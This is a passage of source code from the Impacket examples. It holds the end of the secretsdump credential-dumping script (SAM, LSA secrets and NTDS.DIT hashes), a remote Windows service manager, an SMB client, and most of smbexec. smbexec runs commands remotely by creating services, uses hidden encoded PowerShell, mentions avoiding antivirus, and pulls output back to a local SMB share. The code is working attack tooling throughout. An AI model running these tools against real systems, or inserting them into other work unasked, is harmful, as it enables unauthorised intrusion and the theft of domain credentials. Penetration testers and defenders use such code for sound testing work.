there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__useVSSMethod is False: logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() if self.__KeyListSecrets: self.__KeyListSecrets.finish() # Process command-line arguments. if __name__ == '__main__': # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " "the remote machine without executing any agent there.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' ' (if you want to parse local files)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-system', action='store', help='SYSTEM hive to parse') parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') parser.add_argument('-security', action='store', help='SECURITY hive to parse') parser.add_argument('-sam', action='store', help='SAM hive to parse') parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' 'state') parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, help='Use the VSS method instead of default DRSUAPI') parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') parser.add_argument('-use-keylist', action='store_true', default=False, help='Use the Kerb-Key-List method instead of default DRSUAPI') parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 'method to use at target (only when using -use-vss). Default: smbexec') group = parser.add_argument_group('display options') group.add_argument('-just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' 'Implies also -just-dc switch') group.add_argument('-ldapfilter', action='store', metavar='LDAPFILTER', help='Extract only NTDS.DIT data for specific users based on an LDAP filter. ' 'Only available for DRSUAPI approach. Implies also -just-dc switch') group.add_argument('-just-dc', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') group.add_argument('-just-dc-ntlm', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes only)') group.add_argument('-pwd-last-set', action='store_true', default=False, help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') group.add_argument('-user-status', action='store_true', default=False, help='Display whether or not the user is disabled') group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' ' the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' ' (128 or 256 bits)') group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if options.just_dc_user is not None or options.ldapfilter is not None: if options.use_vss is True: logging.error('-just-dc-user switch is not supported in VSS mode') sys.exit(1) elif options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') sys.exit(1) elif remoteName.upper() == 'LOCAL' and username == '': logging.error('-just-dc-user not compatible in LOCAL mode') sys.exit(1) else: # Having this switch on implies not asking for anything else. options.just_dc = True if options.use_vss is True and options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') sys.exit(1) if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None): logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach') sys.exit(1) if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') sys.exit(1) if remoteName.upper() == 'LOCAL' and username == '': if options.system is None and options.bootkey is None: logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') sys.exit(1) else: if options.target_ip is None: options.target_ip = remoteName if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True dumper = DumpSecrets(remoteName, username, password, domain, options) try: dumper.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) impacket-impacket_0_11_0/examples/services.py000077500000000000000000000411211446174712300214330ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-SCMR] services common functions for manipulating services # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC. # # TODO: # [ ] Check errors # from __future__ import division from __future__ import print_function import sys import argparse import logging import codecs from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.ndr import NULL from impacket.crypto import encryptSecret class SVCCTL: def __init__(self, username, password, domain, options, port=445): self.__username = username self.__password = password self.__options = options self.__port = port self.__action = options.action.upper() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def run(self, remoteName, remoteHost): stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.doStuff(rpctransport) def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() #dce.set_credentials(self.__username, self.__password) dce.connect() #dce.set_max_fragment_size(1) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = svcctl.DCERPCSvcCtl(dce) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] if self.__action != 'LIST' and self.__action != 'CREATE': ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': logging.info("Starting service %s" % self.__options.name) scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': logging.info("Stopping service %s" % self.__options.name) scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': logging.info("Deleting service %s" % self.__options.name) scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': logging.info("Querying service config for %s" % self.__options.name) resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) print("TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], end=' ') if resp['lpServiceConfig']['dwServiceType'] & 0x1: print("SERVICE_KERNEL_DRIVER ", end=' ') if resp['lpServiceConfig']['dwServiceType'] & 0x2: print("SERVICE_FILE_SYSTEM_DRIVER ", end=' ') if resp['lpServiceConfig']['dwServiceType'] & 0x10: print("SERVICE_WIN32_OWN_PROCESS ", end=' ') if resp['lpServiceConfig']['dwServiceType'] & 0x20: print("SERVICE_WIN32_SHARE_PROCESS ", end=' ') if resp['lpServiceConfig']['dwServiceType'] & 0x100: print("SERVICE_INTERACTIVE_PROCESS ", end=' ') print("") print("START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], end=' ') if resp['lpServiceConfig']['dwStartType'] == 0x0: print("BOOT START") elif resp['lpServiceConfig']['dwStartType'] == 0x1: print("SYSTEM START") elif resp['lpServiceConfig']['dwStartType'] == 0x2: print("AUTO START") elif resp['lpServiceConfig']['dwStartType'] == 0x3: print("DEMAND START") elif resp['lpServiceConfig']['dwStartType'] == 0x4: print("DISABLED") else: print("UNKNOWN") print("ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], end=' ') if resp['lpServiceConfig']['dwErrorControl'] == 0x0: print("IGNORE") elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: print("NORMAL") elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: print("SEVERE") elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: print("CRITICAL") else: print("UNKNOWN") print("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) print("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) print("TAG : %d" % resp['lpServiceConfig']['dwTagId']) print("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) print("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) print("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) elif self.__action == 'STATUS': print("Querying status for %s" % self.__options.name) resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) print("%30s - " % self.__options.name, end=' ') state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print("CONTINUE PENDING") elif state == scmr.SERVICE_PAUSE_PENDING: print("PAUSE PENDING") elif state == scmr.SERVICE_PAUSED: print("PAUSED") elif state == scmr.SERVICE_RUNNING: print("RUNNING") elif state == scmr.SERVICE_START_PENDING: print("START PENDING") elif state == scmr.SERVICE_STOP_PENDING: print("STOP PENDING") elif state == scmr.SERVICE_STOPPED: print("STOPPED") else: print("UNKNOWN") elif self.__action == 'LIST': logging.info("Listing services available on target") #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) for i in range(len(resp)): print("%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), end=' ') state = resp[i]['ServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print("CONTINUE PENDING") elif state == scmr.SERVICE_PAUSE_PENDING: print("PAUSE PENDING") elif state == scmr.SERVICE_PAUSED: print("PAUSED") elif state == scmr.SERVICE_RUNNING: print("RUNNING") elif state == scmr.SERVICE_START_PENDING: print("START PENDING") elif state == scmr.SERVICE_STOP_PENDING: print("STOP PENDING") elif state == scmr.SERVICE_STOPPED: print("STOPPED") else: print("UNKNOWN") print("Total Services: %d" % len(resp)) elif self.__action == 'CREATE': logging.info("Creating service %s" % self.__options.name) scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00') elif self.__action == 'CHANGE': logging.info("Changing service config for %s" % self.__options.name) if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: start_type = scmr.SERVICE_NO_CHANGE if self.__options.service_type is not None: service_type = int(self.__options.service_type) else: service_type = scmr.SERVICE_NO_CHANGE if self.__options.display is not None: display = self.__options.display + '\x00' else: display = NULL if self.__options.path is not None: path = self.__options.path + '\x00' else: path = NULL if self.__options.start_name is not None: start_name = self.__options.start_name + '\x00' else: start_name = NULL if self.__options.password is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() try: password = (self.__options.password+'\x00').encode('utf-16le') except UnicodeDecodeError: import sys password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') password = encryptSecret(key, password) else: password = NULL #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display) scmr.hRCloseServiceHandle(rpc, serviceHandle) else: logging.error("Unknown action %s" % self.__action) scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command start_parser = subparsers.add_parser('start', help='starts the service') start_parser.add_argument('-name', action='store', required=True, help='service name') # A stop command stop_parser = subparsers.add_parser('stop', help='stops the service') stop_parser.add_argument('-name', action='store', required=True, help='service name') # A delete command delete_parser = subparsers.add_parser('delete', help='deletes the service') delete_parser.add_argument('-name', action='store', required=True, help='service name') # A status command status_parser = subparsers.add_parser('status', help='returns service status') status_parser.add_argument('-name', action='store', required=True, help='service name') # A config command config_parser = subparsers.add_parser('config', help='returns service configuration') config_parser.add_argument('-name', action='store', required=True, help='service name') # A list command list_parser = subparsers.add_parser('list', help='list available services') # A create command create_parser = subparsers.add_parser('create', help='create a service') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=True, help='display name') create_parser.add_argument('-path', action='store', required=True, help='binary path') # A change command create_parser = subparsers.add_parser('change', help='change a service configuration') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=False, help='display name') create_parser.add_argument('-path', action='store', required=False, help='binary path') create_parser.add_argument('-service_type', action='store', required=False, help='service type') create_parser.add_argument('-start_type', action='store', required=False, help='service start type') create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of ' 'the account under which the service should run') create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of ' 'the account whose name was specified by the start_name parameter') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if options.target_ip is None: options.target_ip = remoteName if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") services = SVCCTL(username, password, domain, options, int(options.port)) try: services.run(remoteName, options.target_ip) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/smbclient.py000077500000000000000000000115401446174712300215720ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Mini shell using some of the SMB functionality of the library # # Author: # Alberto Solino (@agsolino) # # Reference for: # SMB DCE/RPC # from __future__ import division from __future__ import print_function import sys import logging import argparse from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.examples.smbclient import MiniImpacketShell from impacket import version from impacket.smbconnection import SMBConnection def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) else: smbClient.login(username, password, domain, lmhash, nthash) shell = MiniImpacketShell(smbClient) if options.file is not None: logging.info("Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) else: print(line, end=' ') else: shell.cmdloop() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if __name__ == "__main__": main() impacket-impacket_0_11_0/examples/smbexec.py000077500000000000000000000410101446174712300212330ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A similar approach to psexec w/o using RemComSvc. The technique is described here # https://www.optiv.com/blog/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. # Keep in mind that, although this technique might help avoiding AVs, there are a lot of # event logs generated and you can't expect executing tasks that will last long since Windows # will kill the process since it's not responding as a Windows service. # Certainly not a stealthy way. # # This script works in two ways: # 1) share mode: you specify a share, and everything is done through that share. # 2) server mode: if for any reason there's no share available, this script will launch a local # SMB server, so the output of the commands executed are sent back by the target machine # into a locally shared folder. Keep in mind you would need root access to bind to port 445 # in the local machine. # # Author: # beto (@agsolino) # # Reference for: # DCE/RPC and SMB. # from __future__ import division from __future__ import print_function import sys import os import random import string import cmd import argparse try: import ConfigParser except ImportError: import configparser as ConfigParser import logging from threading import Thread from base64 import b64encode from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version, smbserver from impacket.dcerpc.v5 import transport, scmr from impacket.krb5.keytab import Keytab OUTPUT_FILENAME = '__output' SMBSERVER_DIR = '__tmp' DUMMY_SHARE = 'TMP' CODEC = sys.stdout.encoding class SMBServer(Thread): def __init__(self): Thread.__init__(self) self.smb = None def cleanup_server(self): logging.info('Cleaning up..') try: os.unlink(SMBSERVER_DIR + '/smb.log') except OSError: pass os.rmdir(SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) logging.info('Creating tmp directory') try: os.mkdir(SMBSERVER_DIR) except Exception as e: logging.critical(str(e)) pass logging.info('Setting up SMB Server') self.smb.processConfigFile() logging.info('Ready to listen...') try: self.smb.serve_forever() except: pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class CMDEXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, kdcHost=None, mode=None, share=None, port=445, serviceName=None, shell_type=None): self.__username = username self.__password = password self.__port = port self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__share = share self.__mode = mode self.__shell_type = shell_type self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') if serviceName is None: self.__serviceName = ''.join([random.choice(string.ascii_letters) for i in range(8)]) else: self.__serviceName = serviceName def run(self, remoteName, remoteHost): stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type) self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) if self.shell is not None: self.shell.finish() sys.stdout.flush() sys.exit(1) class RemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName, shell_type): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\\\%COMPUTERNAME%\\' + self.__share + '\\' + OUTPUT_FILENAME self.__outputBuffer = b'' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__shell_type = shell_type self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' self.__scmr = rpc.get_dce_rpc() try: self.__scmr.connect() except Exception as e: logging.critical(str(e)) sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') def finish(self): # Just in case the ouput file is still in the share try: self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) except: pass # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except scmr.DCERPCException: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def do_EOF(self, s): print() return self.do_exit(s) def emptyline(self): return False def do_cd(self, s): # We just can't CD or maintain track of the target dir. if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' if self.__shell_type == 'powershell': self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = b'' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) else: fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'rb') output_callback(fd.read()) fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data, shell_type='cmd'): if shell_type == 'powershell': data = '$ProgressPreference="SilentlyContinue";' + data data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() batchFile = '%SYSTEMROOT%\\' + ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.bat' command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + batchFile + ' & ' + \ self.__shell + batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + batchFile logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() def send_data(self, data): self.execute_remote(data, self.__shell_type) try: print(self.__outputBuffer.decode(CODEC)) except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' 'again with -codec and the corresponding codec') print(self.__outputBuffer.decode(CODEC, errors='replace')) self.__outputBuffer = b'' # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' '(default C$)') parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', help='mode to use (default SHARE, SERVER needs root!)') parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', 